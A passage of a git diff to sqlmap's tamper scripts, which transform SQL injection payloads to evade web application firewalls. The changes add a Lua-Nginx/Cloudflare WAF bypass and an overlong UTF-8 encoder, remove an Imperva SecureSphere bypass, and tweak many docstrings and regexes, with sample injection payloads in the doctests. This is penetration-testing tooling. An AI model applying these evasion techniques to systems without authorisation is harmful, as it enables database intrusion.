permission """ @@ -9,14 +9,14 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ - Prepends (inline) comment before parentheses + Prepends (inline) comment before parentheses (e.g. ( -> /**/() Tested against: * Microsoft SQL Server @@ -35,6 +35,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"\b(\w+)\(", "\g<1>/**/(", retVal) + retVal = re.sub(r"\b(\w+)\(", r"\g<1>/**/(", retVal) return retVal diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index f59fd350972..d2663bb2f79 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,20 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' + Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart Requirement: * MySQL diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 0a59962e4d1..bc65eff13db 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces all occurrences of operator equal ('=') with operator 'LIKE' + Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart Tested against: * Microsoft SQL Server 2005 diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index df6ac57e552..db7c4c38876 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,20 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ - Slash escape quotes (' and ") + Slash escape single and double quotes (e.g. ' -> \') >>> tamper('1" AND SLEEP(5)#') '1\\\\" AND SLEEP(5)#' diff --git a/tamper/greatest.py b/tamper/greatest.py index 33e447132e6..989280cc89d 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index d42aafee89c..7a40f9f4c61 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -21,7 +21,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Adds versioned MySQL comment before each keyword + Adds (MySQL) versioned comment before each keyword Requirement: * MySQL < 5.1 diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 78c244ceea7..8eed7b406b6 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - HTML encode (using code points) all non-alphanumeric characters + HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ') >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 5ac14a559a0..0a23ce71ac7 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' + Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart Requirement: * MySQL @@ -61,5 +61,3 @@ def tamper(payload, **kwargs): break return payload - - diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 956629296ca..060b88a03f2 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' + Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart Requirement: * MySQL diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 4b805d0de04..7076fecaa70 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,11 +9,11 @@ from lib.core.enums import PRIORITY -__priority__ = PRIORITY.LOW +__priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ - Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier + Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' @@ -22,6 +22,6 @@ def tamper(payload, **kwargs): retVal = payload if payload: - retVal = re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload) + retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload) return retVal diff --git a/tamper/least.py b/tamper/least.py index 6dc9630584a..53a8a6aadef 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 2d2a93e087c..101e4436a70 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces each keyword character with lower case value + Replaces each keyword character with lower case value (e.g. SELECT -> select) Tested against: * Microsoft SQL Server 2005 @@ -28,7 +28,6 @@ def tamper(payload, **kwargs): Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions - * This tamper script should work against all (?) databases >>> tamper('INSERT') 'insert' @@ -37,7 +36,7 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", retVal): + for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): word = match.group() if word.upper() in kb.keywords: diff --git a/tamper/luanginx.py b/tamper/luanginx.py new file mode 100644 index 00000000000..edd22583670 --- /dev/null +++ b/tamper/luanginx.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import string +import random + +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.NORMAL + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of more than 100 parameters + + >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) + '0U=&Aq=&Fz=&Ws=&DK=&4F=&rU=&Mp=&48=&Y3=&tT=&3Q=&Dg=&AL=&47=&D1=&qX=&Ia=&Sy=&ZP=&aE=&1p=&u1=&lJ=&o7=&XB=&et=&F5=&gI=&RH=&YH=&7L=&KB=&Kx=&Js=&lL=&OD=&fU=&25=&03=&5H=&yR=&rY=&03=&K6=&JB=&O9=&4X=&fL=&EN=&0p=&Th=&nX=&uY=&gj=&Rc=&J4=&HQ=&bN=&LJ=&yw=&8c=&b7=&lh=&nX=&6b=&Ag=&qn=&Ov=&lF=&cg=&9m=&wT=&Z4=&kP=&7d=&P0=&vp=&LB=&kD=&zJ=&Ft=&wZ=&pI=&aT=&uc=&ro=&7v=&rw=&6N=&MS=&yz=&Oa=&lu=&oN=&x2=&Jz=&yR=&zP=&cB=&qj=&GE=&IU=&2E=&tC=&Y2=&Yl=&9N=&fS=&9y=&Qt=&nS=&aZ=&Gg=&hO=&2r=&8g=&0y=&fr=&CX=&1i=&GO=&v2=&rb=&cQ=&I6=&64=&cU=&RO=&S3=&Nx=&Hm=&Ka=&ju=&WS=&uM=&ck=&8r=&yI=&sD=&oc=&lG=&ey=&uz=&g4=&D0=&8v=&DR=&As=&T3=&5M=&x8=&Ne=&fU=&da=&yG=&BE=&KQ=&Aw=&9q=&WA=&wd=&1R=&3B=&Ph=&ym=&c6=&nj=&mx=&Hj=&98=&jz=&Q2=&E4=&tE=&EP=&mL=&nv=&73=&Yc=&jp=&W0=&KS=&Ye=&f1=&cn=&ca=&0u=&jO=&8F=&3F=&JQ=&XU=&9U=&4m=&HL=&ZD=&Xy=&K0=&XO=&al=&Fp=&e1=&6s=&zY=&dN=&hr=&Zd=&cz=&E1=&SP=&j9=&zL=&xc=&Dj=&cM=&Ng=&Iv=&xW=&E2=&LC=&Nu=&hQ=&MW=&h4=&X4=&2Q=&YG=&Wl=&WB=&UC=&We=&c5=&E3=&6P=&Jn=&fY=&3W=&RA=&sh=&AJ=&56=&zg=&VT=&bB=&Qb=&47=&Se=&ew=&bv=&a8=&Ye=&3m=&mP=&6h=&aw=&bL=&1l=&gv=&7i=&7w=&Ds=&67=&Nl=&9g=&Kj=&36=&Xt=&pU=&sA=&ci=&be=&eA=&IT=&iA=&Nf=&Bw=&6d=&zT=&tm=&sD=&6X=&rI=&QX=&By=&VA=&pC=&6i=&CN=&Dm=&aR=&Ma=&sV=&MH=&jR=&DQ=&Vo=&Vr=&9h=&2c=&pG=&Ky=&gp=&rU=&4K=&cX=&sv=&Gp=&5k=&zr=&GJ=&MG=&zN=&zW=&Ws=&xM=&jR=&xK=&iP=&vD=&zD=&Rt=&Od=&sU=&dM=&bD=&3a=&Ge=&1Q=&UP=&ac=&M9=&2R=&To=&Ur=&gC=&uk=&A3=&AB=&RG=&i4=&BW=&yY=&yn=&m6=&Kd=&yo=&fl=&dN=&kL=&LR=&Fr=&2v=&CN=&F7=&75=&5K=&ER=&nq=&ck=&aO=&iW=&Q8=&y5=&Cv=&g2=&Xu=&Cu=&bc=&wm=&Gl=&mP=&Tt=&1p=&vS=&c5=&eC=&Sc=&Y8=&Ch=&fg=&Vz=&4B=&eA=&UZ=&cl=&Eh=&25=&tA=&Ir=&Hm=&sB=&LH=&qo=&hW=&gT=&pr=&TO=&TF=&1h=&Oh=&Tw=&PR=&On=&Zo=&GP=&oM=&rk=&YI=&uK=&bi=&y8=&Fe=&VW=&WJ=&Rn=&TY=&Vv=&KM=&3g=&ZG=&wC=&an=&OE=&7D=&t0=&qL=&RY=&Wx=&dc=&T7=&vB=&SO=&qP=&sw=&HT=&jb=&Mb=&cn=&Oe=&d8=&A3=&nA=&wk=&u9=&Ux=&zq=>=&QC=&c5=&zy=&ai=&1F=&Tj=&u0=&Yp=&bY=&kW=&Qk=&e5=&LM=&Cj=&Lp=&XT=&b5=&cf=&sj=&ow=&Tz=&qE=&yt=&3I=&8V=&Jq=&QC=&Sz=&Eb=&Tc=&QK=&Wr=&Qm=&Gv=&8m=&Ju=&85=&KS=&Qv=&43=&uU=&aY=&J7=&wM=&uW=&L9=&ai=&ch=&56=&D6=&YW=&Ul=&1 AND 2>1' + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.letters + string.digits, 2)) for _ in xrange(500)) + + return payload diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py index 808667997d1..0c4ee3e41d0 100644 --- a/tamper/modsecurityversioned.py +++ b/tamper/modsecurityversioned.py @@ -1,21 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os + from lib.core.common import randomInt +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Embraces complete query with versioned comment + Embraces complete query with (MySQL) versioned comment Requirement: * MySQL @@ -24,7 +28,7 @@ def tamper(payload, **kwargs): * MySQL 5.0 Notes: - * Useful to bypass ModSecurity WAF/IDS + * Useful to bypass ModSecurity WAF >>> import random >>> random.seed(0) diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py index 77faed32f30..af358f58b9a 100644 --- a/tamper/modsecurityzeroversioned.py +++ b/tamper/modsecurityzeroversioned.py @@ -1,20 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ - Embraces complete query with zero-versioned comment + Embraces complete query with (MySQL) zero-versioned comment Requirement: * MySQL @@ -23,7 +27,7 @@ def tamper(payload, **kwargs): * MySQL 5.0 Notes: - * Useful to bypass ModSecurity WAF/IDS + * Useful to bypass ModSecurity WAF >>> tamper('1 AND 2>1--') '1 /*!00000AND 2>1*/--' diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py index db83866ebc7..57cc2327208 100644 --- a/tamper/multiplespaces.py +++ b/tamper/multiplespaces.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Adds multiple spaces around SQL keywords + Adds multiple spaces (' ') around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls @@ -36,14 +36,14 @@ def tamper(payload, **kwargs): if payload: words = set() - for match in re.finditer(r"[A-Za-z_]+", payload): + for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: - retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) - retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) + retVal = re.sub(r"(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) return retVal diff --git a/tamper/nonrecursivereplacement.py b/tamper/nonrecursivereplacement.py deleted file mode 100644 index dbfe2ca2b12..00000000000 --- a/tamper/nonrecursivereplacement.py +++ /dev/null @@ -1,41 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import random -import re - -from lib.core.common import singleTimeWarnMessage -from lib.core.enums import PRIORITY - -__priority__ = PRIORITY.NORMAL - -def tamper(payload, **kwargs): - """ - Replaces predefined SQL keywords with representations - suitable for replacement (e.g. .replace("SELECT", "")) filters - - Notes: - * Useful to bypass very weak custom filters - - >>> random.seed(0) - >>> tamper('1 UNION SELECT 2--') - '1 UNIOUNIONN SELESELECTCT 2--' - """ - - keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") - retVal = payload - - warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) - warnMsg += "You can set it manually according to your needs" - singleTimeWarnMessage(warnMsg) - - if payload: - for keyword in keywords: - _ = random.randint(1, len(keyword) - 1) - retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) - - return retVal diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py index a8a9da412b9..5cc28a6308a 100644 --- a/tamper/overlongutf8.py +++ b/tamper/overlongutf8.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -16,13 +16,14 @@ def dependencies(): def tamper(payload, **kwargs): """ - Converts all characters in a given payload (not processing already - encoded) + Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7) - Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + Reference: + * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') - 'SELECT%C0%AAFIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1' + 'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1' """ retVal = payload @@ -37,7 +38,7 @@ def tamper(payload, **kwargs): i += 3 else: if payload[i] not in (string.ascii_letters + string.digits): - retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i])) + retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) else: retVal += payload[i] i += 1 diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py new file mode 100644 index 00000000000..301945f4f6f --- /dev/null +++ b/tamper/overlongutf8more.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOWEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) + + Reference: + * https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ + * https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ + + >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') + '%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: + retVal += payload[i:i + 3] + i += 3 + else: + retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) + i += 1 + + return retVal diff --git a/tamper/percentage.py b/tamper/percentage.py index 0a32661e588..71259fd88f2 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Adds a percentage sign ('%') infront of each character + Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T) Requirement: * ASP diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index e22d0f5905a..acc800022a8 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,23 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os import re +from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ - Replaces plus ('+') character with function CONCAT() + Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart Tested against: * Microsoft SQL Server 2012 @@ -38,6 +41,9 @@ def tamper(payload, **kwargs): retVal = payload if payload: + prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) + retVal = retVal.strip('+') + while True: indexes = zeroDepthSearch(retVal, '+') @@ -58,7 +64,7 @@ def tamper(payload, **kwargs): retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) else: - match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal) + match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) @@ -73,4 +79,6 @@ def tamper(payload, **kwargs): else: break + retVal = "%s%s%s" % (prefix, retVal, suffix) + return retVal diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index d50805dd688..99e0a144255 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,23 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os import re +from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ - Replaces plus ('+') character with ODBC function {fn CONCAT()} + Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart Tested against: * Microsoft SQL Server 2008 @@ -39,6 +42,9 @@ def tamper(payload, **kwargs): retVal = payload if payload: + prefix, suffix = '+' * len(re.search(r"\A(\+*)", payload).group(0)), '+' * len(re.search(r"(\+*)\Z", payload).group(0)) + retVal = retVal.strip('+') + while True: indexes = zeroDepthSearch(retVal, '+') @@ -64,7 +70,7 @@ def tamper(payload, **kwargs): retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) else: - match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal) + match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) @@ -86,4 +92,6 @@ def tamper(payload, **kwargs): else: break + retVal = "%s%s%s" % (prefix, retVal, suffix) + return retVal diff --git a/tamper/randomcase.py b/tamper/randomcase.py index 9f89cc60801..2e9fb575b1a 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,13 +18,14 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces each keyword character with random case value + Replaces each keyword character with random case value (e.g. SELECT -> SEleCt) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 + * SQLite 3 Notes: * Useful to bypass very weak and bespoke web application firewalls @@ -40,10 +41,10 @@ def tamper(payload, **kwargs): retVal = payload if payload: - for match in re.finditer(r"[A-Za-z_]+", retVal): + for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): word = match.group() - if word.upper() in kb.keywords: + if word.upper() in kb.keywords or ("%s(" % word) in payload: while True: _ = "" diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index d568ff10681..1e9c7815afa 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,7 +15,7 @@ def tamper(payload, **kwargs): """ - Add random comments to SQL keywords + Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT) >>> import random >>> random.seed(0) diff --git a/tamper/securesphere.py b/tamper/securesphere.py deleted file mode 100644 index 3d1a4047ec1..00000000000 --- a/tamper/securesphere.py +++ /dev/null @@ -1,27 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.enums import PRIORITY - -__priority__ = PRIORITY.NORMAL - -def dependencies(): - pass - -def tamper(payload, **kwargs): - """ - Appends special crafted string - - Notes: - * Useful for bypassing Imperva SecureSphere WAF - * Reference: http://seclists.org/fulldisclosure/2011/May/163 - - >>> tamper('1 AND 1=1') - "1 AND 1=1 and '0having'='0having'" - """ - - return payload + " and '0having'='0having'" if payload else payload diff --git a/tamper/sp_password.py b/tamper/sp_password.py index 9ea759018a9..0f2f813a49b 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -11,7 +11,7 @@ def tamper(payload, **kwargs): """ - Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs + Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 1f570fc91a3..2f06c5b2d3c 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index 94cfc8d24b2..4ce7423f6c1 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -14,8 +14,7 